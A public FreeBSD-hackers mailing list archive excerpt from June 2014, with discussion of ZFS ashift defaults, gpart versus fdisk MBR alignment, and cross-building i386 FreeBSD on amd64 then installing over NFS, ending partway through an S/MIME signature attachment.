gnop. >>>>>>> >>>>>>> I believe it's part of 10.0? >>>>>> >>>>>> I've not seen this yet. What we need is to port the ability to >>>>>> set ashift at pool creation time: >>>>>> >>>>>> $ zpool create -o ashift=12 tank mirror disk1 disk2 mirror disk3 >>>>>> disk4 >>>>>> >>>>>> I believe the Linux zfs port has this functionality now, but we >>>>>> still do not. >>>>> >>>>> We don't have that direct option yet but you can achieve the >>>>> same thing by setting: vfs.zfs.min_auto_ashift=12 >>>>> >>>> Does anyone have any objections to me changing this default, right >>>> now, today? >>>> -Nathan >>> >>> I think you will get some objections to that, as it can have quite >>> an impact >>> on the performance for disks which are 512, due to the increased >>> overhead of >>> transfering 4k when only 512 is really required. This has a more >>> dramatic >>> impact on RAIDZx due too. >>> >>> Personally we run a custom kernel on our machines which has just >>> this change >>> in it to ensure capability with future disks, so I can confirm it >>> does indeed >>> have the desired effect :) >> >> So the discussion here is related to what to do about the installer. >> The current ZFS component unconditionally creates gnops all over the >> place to set ashift to 4k. That's across the board worse: it has >> exactly the performance impact of changing the default of this sysctl >> (whatever that is), it can't easily be overridden (which the sysctl >> can), and it's a horrible hack to boot. There are a few options: >> >> 1. Change the default of vfs.zfs.min_auto_ashift >> 2. Have the same effect but in a vastly worse way by adjusting the >> installer to create gnops >> 3. Have ZFS choose by itself and decide to do that permanently. >> >> Our ATA code is good about reporting block sizes now, so (3) isn't a >> big issue except for the mixed-pool case, which is a huge PITA. >> >> We need to choose one of these. I favor (1). > > I wasn't aware of that but it should do #3 > > min_auto_ashift is a bigger discussion. Fair enough. I'm going to decide not to worry about (2) while integrating some installer patches then. If we do either (1) or (3), I'm perfectly happy. It would be nice if that discussion happened, however, rather than dying now. -Nathan From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 16:53:28 2014 Return-Path: Delivered-To: hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 354289F0; Sun, 1 Jun 2014 16:53:28 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "funkthat.com", Issuer "funkthat.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 0B38B2D71; Sun, 1 Jun 2014 16:53:27 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s51GrLU2003981 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 1 Jun 2014 09:53:21 -0700 (PDT) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s51GrL4o003980; Sun, 1 Jun 2014 09:53:21 -0700 (PDT) (envelope-from jmg) Date: Sun, 1 Jun 2014 09:53:21 -0700 From: John-Mark Gurney To: Ian Lepore Subject: Re: fdisk(8) vs gpart(8), and gnop Message-ID: <20140601165320.GV43976@funkthat.com> Mail-Followup-To: Ian Lepore , Warren Block , hackers@FreeBSD.org, "Michael W. Lucas" References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <20140601020053.GR43976@funkthat.com> <1401632369.20883.51.camel@revolution.hippie.lan> <1401634837.20883.74.camel@revolution.hippie.lan> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1401634837.20883.74.camel@revolution.hippie.lan> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender passed SPF test, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Sun, 01 Jun 2014 09:53:21 -0700 (PDT) Cc: hackers@FreeBSD.org, "Michael W. Lucas" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 16:53:28 -0000 Ian Lepore wrote this message on Sun, Jun 01, 2014 at 09:00 -0600: > On Sun, 2014-06-01 at 08:36 -0600, Warren Block wrote: > > On Sun, 1 Jun 2014, Ian Lepore wrote: > > > > > On Sat, 2014-05-31 at 19:00 -0700, John-Mark Gurney wrote: > > >> Michael W. Lucas wrote this message on Sat, May 31, 2014 at 20:42 -0400: > > >>> $SUBJECT have been two contentious points of discussion in private > > >>> mail, Twitter, the BSDCan bar track, and random people passing on the > > >>> street. I was very surprised at the number of knowledgeable people who > > >>> have different ideas on this and argue about it at length. > > >>> > > >>> I'm hoping to verify what seems to be correct. > > >>> > > >>> First, is fdisk EVER necessary? I *believe* that gpart's '-a 4k' > > >>> handles all alignment issues for the 512B/4KB sector issues. If you > > >> > > >> gpart's -a will not properly align MBR's slices due to enforced CHS... > > > > > > Maybe this is naive, but... can't we just *fix* that? > > > > Thread starts here: > > http://lists.freebsd.org/pipermail/freebsd-geom/2014-February/005835.html > > > > > For the longest time geom would warn about "geometry does not match > > > label" that had something to do with different parts of the code > > > calculating different CHS values. Eventually it was decided to remove > > > the unactionable message, and my vague memory is that the justification > > > was basically "because CHS is meaningless to geom and modern BIOSen." > > > > > > If there's some "it would cause problems on this ancient hardware that > > > only 3 people in the world use" (I'm usually one of those people -- we > > > support some old equipment in the field at $work), then maybe there > > > could be a flag that enables the old CHS alignment behavior. > > > > Short form of above: gpart is supposed to hide and handle underlying > > GEOM issues, so it needs an override to be able to create these > > "non-standard" MBRs with slices aligned to arbitrary values. > > Hmm. If it takes a special "do what I actually said" flag, that's okay > I guess. > > My problem with that thread is the implicit assumption that CHS > alignment is required by *something* but there's no evidence what that > something is, other than "MBR has always in the past been CHS aligned." > I don't have enough knowledge in this area to contradict that > assumption, I'm just always skeptical of "thus it was spoken in 1982 and > thus it will always be" as an argument against sensible change. Looking > at what's done on other modern OSes seems reasonable, for example. > > And then of course there's the matter of a conclusion (perhaps not 100% > satisfying, but workable) having been reached, and yet code was never > changed. Not that I can volunteer to do it right now, I'm already > overcomitted. Considering that I just brought up head on a 15+ year old machine, and was quite surprised how it "just worked", it is likely that we will still see machines that will break if CHS isn't handled properly... FreeBSD 11.0-CURRENT #2 r265148M: Sat May 3 00:19:19 PDT 2014 jmg@carbon.funkthat.com:/usr/obj/i386.i386/usr/src/sys/serbox i386 FreeBSD clang version 3.4 (tags/RELEASE_34/final 197956) 20140216 CPU: AMD-K6tm w/ multimedia extensions (200.46-MHz 586-class CPU) Origin="AuthenticAMD" Id=0x562 Family=0x5 Model=0x6 Stepping=2 Features=0x8001bf AMD Features=0x400<> real memory = 134217728 (128 MB) avail memory = 120770560 (115 MB) -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 17:24:40 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B35F11EA for ; Sun, 1 Jun 2014 17:24:40 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id A29282F72 for ; Sun, 1 Jun 2014 17:24:39 +0000 (UTC) Received: from AlfredMacbookAir.local (c-76-21-10-192.hsd1.ca.comcast.net [76.21.10.192]) by elvis.mu.org (Postfix) with ESMTPSA id 15A051A3C25 for ; Sun, 1 Jun 2014 10:24:39 -0700 (PDT) Message-ID: <538B61EC.9000403@mu.org> Date: Sun, 01 Jun 2014 10:25:00 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: FreeBSD Hackers Subject: Upgrading an i386 machine from amd64. Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 17:24:40 -0000 Hello hackers. Is there a way to build on amd64 and then mount over nfs the build and src and installworld from an i386 machine? The problem seems to be that "install" and "strip" and etc are built as amd64 binaries so that the installworld will fail. Below I have a solution I was going to do a blog post about, but then realized maybe I'd be leading people down the wrong path. Can someone verify that I need to use rsync as opposed to installworld for this to work? I have an old i386 based soekris geode box called "soekris": CPU: Geode(TM) Integrated Processor by AMD PCS (499.91-MHz 586-class CPU) Origin = "AuthenticAMD" Id = 0x5a2 Family = 0x5 Model = 0xa Stepping = 2 Features=0x88a93d AMD Features=0xc0400000 real memory = 536870912 (512 MB) avail memory = 502792192 (479 MB) Building on this machine is difficult because of the speed and lack of space, so I decided to use my more powerful amd64 machine "spigot": CPU: Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz (3392.37-MHz K8-class CPU) Origin="GenuineIntel" Id=0x206a7 Family=0x6 Model=0x2a Stepping=7 ... real memory = 17179869184 (16384 MB) avail memory = 16585228288 (15816 MB) FreeBSD/SMP: 1 package(s) x 4 core(s) x 2 SMT threads So I've built an 10-stable on the amd64 machine using: spigot % TARGET=i386 spigot % make -j24 buildworld spigot % make -j24 buildkernel Works great, I get an i386 object tree under /usr/obj/i386.386/... Then I go to install this over NFS and this is where I get stuck. If I mount the i386 machine like so and install I get errors on libc and other libraries: spigot % mount soekris:/ /usr/soekris spigot % cd /usr/src && make installworld ..... ===> lib/libcrypt (install) install -C -o root -g wheel -m 444 libcrypt.a /usr/soekris/usr/lib install -C -o root -g wheel -m 444 libcrypt_p.a /usr/soekris/usr/lib install -s -o root -g wheel -m 444 -fschg libcrypt.so.5 /usr/soekris/lib install: /usr/soekris/lib/libcrypt.so.5: Input/output error *** Error code 71 Stop. make[5]: stopped in /usr/trees/freebsd.git/lib/libcrypt *** Error code 1 OK, so that doesn't work... Maybe if I mount the amd64 build host under the soekris box, no that breaks because the bootstrap tools (install(1), strip(1)) are built for amd64 so the install fails. So what I finally did on the amd64 box was: spigot % mkdir /use/soekris.local spigot % make installworld DESTDIR=/usr/soekris.local spigot % mount soekris:/ /usr/soekris spigot % rsync -avvH /usr/soekris.local/ /usr/soekris/ That hung at the end forever at the end: var/unbound/ var/yp/ var/yp/Makefile var/yp/Makefile.dist .... but after giving it an hour I just hit ^C and rebooted and everything was more or less fine. Is there a better way to do this? Was the "installworld to NFS" breaking because of NFS bugs? Should I get those to Rick? I'm just confused. -Alfred From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 17:34:40 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C98C2330 for ; Sun, 1 Jun 2014 17:34:40 +0000 (UTC) Received: from mail-ie0-x235.google.com (mail-ie0-x235.google.com [IPv6:2607:f8b0:4001:c03::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 868E92010 for ; Sun, 1 Jun 2014 17:34:40 +0000 (UTC) Received: by mail-ie0-f181.google.com with SMTP id rp18so3438880iec.26 for ; Sun, 01 Jun 2014 10:34:39 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=dataix.net; s=rsa; h=references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=xf0heJcBUsPVQmbrnB94qhvNGNvZas3GgROjZNKxRaw=; b=ELINSA6RpGqOtJ2cngeYELxholbD1SvoRsOUiFK3xh8GoiExo38wt1zh8TLMSvrHWf 6JCPlzPk5ZzvW1fVu4QtXCWxQ9DqbwsTecJH7zlEiR7/eGOQXzN3mPLv8mbXFAQcQbhi r0FLlUyerdyeOzbbbsAC7cNe9adQzg6FyVnV0= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=xf0heJcBUsPVQmbrnB94qhvNGNvZas3GgROjZNKxRaw=; b=H+dZG+SkNAD+NGE/vDuNsWbcrdyvybL8PZIaoj4n9Pm90cgN9itftgtGNRBmKvIUSr YR8aX8q6lUbg6Aen/ZKtuVaxvsfWq1xokg3vNVEkvD69QjhKlhri5EnaFaWY+FRqogrS CjsyVkFUak59hHG/6ItXyGpbkOcJZAcY0yAFwOE6cV9vo+naaUS/OsDYY84qmD6iKX+K ZCwd0lEacY5Ge0pfLKdgkNFwQ6XF4AhJwHMzgq5CO+dUQTxhgOF3BRWdLEgHxjshAdWg yDeIV2gvAHOkVQjSk2CEN+Svm/rD9P/YfMFN6fuY70dZGacchF8x0QfdVfy/3d4w2pYD D2nQ== X-Gm-Message-State: ALoCoQmGdssaUS8WZcOp9TD29TobZ/dHlnx9AC0566u481F3XsC1KM5Mr1PomNRw7qa2ksMk3gfA X-Received: by 10.50.122.73 with SMTP id lq9mr13774080igb.13.1401644079867; Sun, 01 Jun 2014 10:34:39 -0700 (PDT) Received: from [172.31.35.2] (75-128-101-59.dhcp.sgnw.mi.charter.com. [75.128.101.59]) by mx.google.com with ESMTPSA id g3sm9466717igo.11.2014.06.01.10.34.38 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 01 Jun 2014 10:34:38 -0700 (PDT) References: <538B61EC.9000403@mu.org> Mime-Version: 1.0 (1.0) In-Reply-To: <538B61EC.9000403@mu.org> Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-24406A20-4B40-4870-AC6A-AD93469D5889; protocol="application/pkcs7-signature" Content-Transfer-Encoding: 7bit Message-Id: <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> X-Mailer: iPhone Mail (11B554a) From: Jason Hellenthal Subject: Re: Upgrading an i386 machine from amd64. Date: Sun, 1 Jun 2014 13:34:35 -0400 To: Alfred Perlstein X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 17:34:40 -0000 --Apple-Mail-24406A20-4B40-4870-AC6A-AD93469D5889 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable What if you just NFS mount the obj directory from the 386 to the amd64 build= world for 386 the mount the src on the i386 and just rebuild strip and frie= nds ? A little more of a hack i know but would get the job done. --=20 Jason Hellenthal Voice: 95.30.17.6/616 JJH48-ARIN > On Jun 1, 2014, at 13:25, Alfred Perlstein wrote: >=20 > Hello hackers. >=20 > Is there a way to build on amd64 and then mount over nfs the build and src= and installworld from an i386 machine? >=20 > The problem seems to be that "install" and "strip" and etc are built as am= d64 binaries so that the installworld will fail. >=20 > Below I have a solution I was going to do a blog post about, but then real= ized maybe I'd be leading people down the wrong path. >=20 > Can someone verify that I need to use rsync as opposed to installworld for= this to work? >=20 > I have an old i386 based soekris geode box called "soekris": > CPU: Geode(TM) Integrated Processor by AMD PCS (499.91-MHz 586-class CPU) > Origin =3D "AuthenticAMD" Id =3D 0x5a2 Family =3D 0x5 Model =3D 0xa St= epping =3D 2 > Features=3D0x88a93d > AMD Features=3D0xc0400000 > real memory =3D 536870912 (512 MB) > avail memory =3D 502792192 (479 MB) >=20 > Building on this machine is difficult because of the speed and lack of spa= ce, so I decided to use my more powerful amd64 machine "spigot": > CPU: Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz (3392.37-MHz K8-class CPU) > Origin=3D"GenuineIntel" Id=3D0x206a7 Family=3D0x6 Model=3D0x2a Steppin= g=3D7 > ... > real memory =3D 17179869184 (16384 MB) > avail memory =3D 16585228288 (15816 MB) > FreeBSD/SMP: 1 package(s) x 4 core(s) x 2 SMT threads >=20 > So I've built an 10-stable on the amd64 machine using: >=20 > spigot % TARGET=3Di386 > spigot % make -j24 buildworld > spigot % make -j24 buildkernel >=20 > Works great, I get an i386 object tree under /usr/obj/i386.386/... >=20 > Then I go to install this over NFS and this is where I get stuck. >=20 > If I mount the i386 machine like so and install I get errors on libc and o= ther libraries: >=20 > spigot % mount soekris:/ /usr/soekris > spigot % cd /usr/src && make installworld > ..... > =3D=3D=3D> lib/libcrypt (install) > install -C -o root -g wheel -m 444 libcrypt.a /usr/soekris/usr/lib > install -C -o root -g wheel -m 444 libcrypt_p.a /usr/soekris/usr/lib > install -s -o root -g wheel -m 444 -fschg libcrypt.so.5 /usr/soekris/li= b > install: /usr/soekris/lib/libcrypt.so.5: Input/output error > *** Error code 71 >=20 > Stop. > make[5]: stopped in /usr/trees/freebsd.git/lib/libcrypt > *** Error code 1 >=20 > OK, so that doesn't work... >=20 > Maybe if I mount the amd64 build host under the soekris box, no that break= s because the bootstrap tools (install(1), strip(1)) are built for amd64 so t= he install fails. >=20 > So what I finally did on the amd64 box was: >=20 > spigot % mkdir /use/soekris.local > spigot % make installworld DESTDIR=3D/usr/soekris.local > spigot % mount soekris:/ /usr/soekris > spigot % rsync -avvH /usr/soekris.local/ /usr/soekris/ >=20 > That hung at the end forever at the end: > var/unbound/ > var/yp/ > var/yp/Makefile > var/yp/Makefile.dist > .... >=20 > but after giving it an hour I just hit ^C and rebooted and everything was m= ore or less fine. >=20 > Is there a better way to do this? Was the "installworld to NFS" breaking b= ecause of NFS bugs? Should I get those to Rick? I'm just confused. >=20 > -Alfred > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"= --Apple-Mail-24406A20-4B40-4870-AC6A-AD93469D5889 Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIUOTCCBjAw ggUYoAMCAQICAwaijjANBgkqhkiG9w0BAQsFADCBjDELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0 YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcx ODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRlcm1lZGlhdGUgQ2xpZW50IENB MB4XDTEzMDUxODA4NTA0OFoXDTE0MDUxOTIyMDk0N1owSDEfMB0GA1UEAwwWamhlbGxlbnRoYWxA ZGF0YWl4Lm5ldDElMCMGCSqGSIb3DQEJARYWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCASIwDQYJ KoZIhvcNAQEBBQADggEPADCCAQoCggEBALgnYFS1bWZr3KhKBzWAdRwrY+En+RRV8nCaYubqrMG+ YJbuenaIKSbIuFiDWipW4RHYTpE28pKaSnaVTG9WtAZvsWj0gYN9g2fYCnCOUceES2Yvi3RavxpB hsuzKIfsHb8iNNSEuczLu6gn4mQyaHwE4x6xSUKmbK8njR+YoF522F60wjsnq5dlOJdTrhDfObE5 5P23279WbRp8azgZX1VRB66wdKRDuSI1vBts4Nsha2paXd6HUUduHrPACBQREJTGXN8XtEKVwo63 aKUhRgtUwHNEuSWck/xwVl7PBUWH2dORAWTCqHjNuCKNOQ1/0LMiyMj7FdsBjN4dgL4YZpsCAwEA AaOCAtwwggLYMAkGA1UdEwQCMAAwCwYDVR0PBAQDAgSwMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggr BgEFBQcDBDAdBgNVHQ4EFgQU29qUrmZtgQ7ZVoDKogfpJOSfk+YwHwYDVR0jBBgwFoAUU3Ltkpzg 2ssBXHx+ljVO8tS4UYIwIQYDVR0RBBowGIEWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCAUwGA1Ud IASCAUMwggE/MIIBOwYLKwYBBAGBtTcBAgMwggEqMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9wb2xpY3kucGRmMIH3BggrBgEFBQcCAjCB6jAnFiBTdGFydENvbSBDZXJ0aWZp Y2F0aW9uIEF1dGhvcml0eTADAgEBGoG+VGhpcyBjZXJ0aWZpY2F0ZSB3YXMgaXNzdWVkIGFjY29y ZGluZyB0byB0aGUgQ2xhc3MgMSBWYWxpZGF0aW9uIHJlcXVpcmVtZW50cyBvZiB0aGUgU3RhcnRD b20gQ0EgcG9saWN5LCByZWxpYW5jZSBvbmx5IGZvciB0aGUgaW50ZW5kZWQgcHVycG9zZSBpbiBj b21wbGlhbmNlIG9mIHRoZSByZWx5aW5nIHBhcnR5IG9ibGlnYXRpb25zLjA2BgNVHR8ELzAtMCug KaAnhiVodHRwOi8vY3JsLnN0YXJ0c3NsLmNvbS9jcnR1MS1jcmwuY3JsMIGOBggrBgEFBQcBAQSB gTB/MDkGCCsGAQUFBzABhi1odHRwOi8vb2NzcC5zdGFydHNzbC5jb20vc3ViL2NsYXNzMS9jbGll bnQvY2EwQgYIKwYBBQUHMAKGNmh0dHA6Ly9haWEuc3RhcnRzc2wuY29tL2NlcnRzL3N1Yi5jbGFz czEuY2xpZW50LmNhLmNydDAjBgNVHRIEHDAahhhodHRwOi8vd3d3LnN0YXJ0c3NsLmNvbS8wDQYJ KoZIhvcNAQELBQADggEBAHsw8/Hw07gsNTKYnld74NBFtHnQOPkXYuccWx3j0PGQe9nqNxeingBf 2yvx+xBQzBoi4J1u84Jbrbe8Ii3+LLD/QMW9cN0SBIgRStPQLVee4STdjeabGmpXQa7omC02wYYO 83qh6CgJEIbmrsBSZH8ZSVrjkC4UmZS8wAQMS3qTWAPF0ZQGWx2+Gks2fXuacyt2LpNR+p9ogjAZ 1/rmUKjNhQZLswytaLRUdwAwSfQ3+TNs68h6Kv1LC3bNGBT3NEtr2q/nzzb5MzuFcDE6f9exroAC 4BHmokAprhna/vZdb6BrPjpXgRAlWAh3wEMxw75M9S/Nbzj/jNp+I+lvUJYwggY0MIIEHKADAgEC AgEeMA0GCSqGSIb3DQEBBQUAMH0xCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQu MSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMSkwJwYDVQQDEyBT dGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNzEwMjQyMTAxNTVaFw0xNzEwMjQy MTAxNTVaMIGMMQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRkLjErMCkGA1UECxMi U2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzE4MDYGA1UEAxMvU3RhcnRDb20gQ2xh c3MgMSBQcmltYXJ5IEludGVybWVkaWF0ZSBDbGllbnQgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDHCYPMzi3YGrEppC4Tq5a+ijKDjKaIQZZVR63UbxIP6uq/I0fhCu+cQhoUfE6E RKKnu8zPf1Jwuk0tsvVCk6U9b+0UjM0dLep3ZdE1gblK/1FwYT5Pipsu2yOMluLqwvsuz9/9f1+1 PKHG/FaR/wpbfuIqu54qzHDYeqiUfsYzoVflR80DAC7hmJ+SmZnNTWyUGHJbBpA8Q89lGxahNvur yGaC/o2/ceD2uYDX9U8Eg5DpIpGQdcbQeGarV04WgAUjjXX5r/2dabmtxWMZwhZna//jdiSyrrSM TGKkDiXm6/3/4ebfeZuCYKzN2P8O2F/Xe2AC/Y7zeEsnR7FOp+uXAgMBAAGjggGtMIIBqTAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUU3Ltkpzg2ssBXHx+ljVO8tS4 UYIwHwYDVR0jBBgwFoAUTgvvGqRAW6UXaYcwyjRoQ9BBrvIwZgYIKwYBBQUHAQEEWjBYMCcGCCsG AQUFBzABhhtodHRwOi8vb2NzcC5zdGFydHNzbC5jb20vY2EwLQYIKwYBBQUHMAKGIWh0dHA6Ly93 d3cuc3RhcnRzc2wuY29tL3Nmc2NhLmNydDBbBgNVHR8EVDBSMCegJaAjhiFodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9zZnNjYS5jcmwwJ6AloCOGIWh0dHA6Ly9jcmwuc3RhcnRzc2wuY29tL3Nmc2Nh LmNybDCBgAYDVR0gBHkwdzB1BgsrBgEEAYG1NwECATBmMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3 LnN0YXJ0c3NsLmNvbS9wb2xpY3kucGRmMDQGCCsGAQUFBwIBFihodHRwOi8vd3d3LnN0YXJ0c3Ns LmNvbS9pbnRlcm1lZGlhdGUucGRmMA0GCSqGSIb3DQEBBQUAA4ICAQAKgwh9eKssBly4Y4xerhy5 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 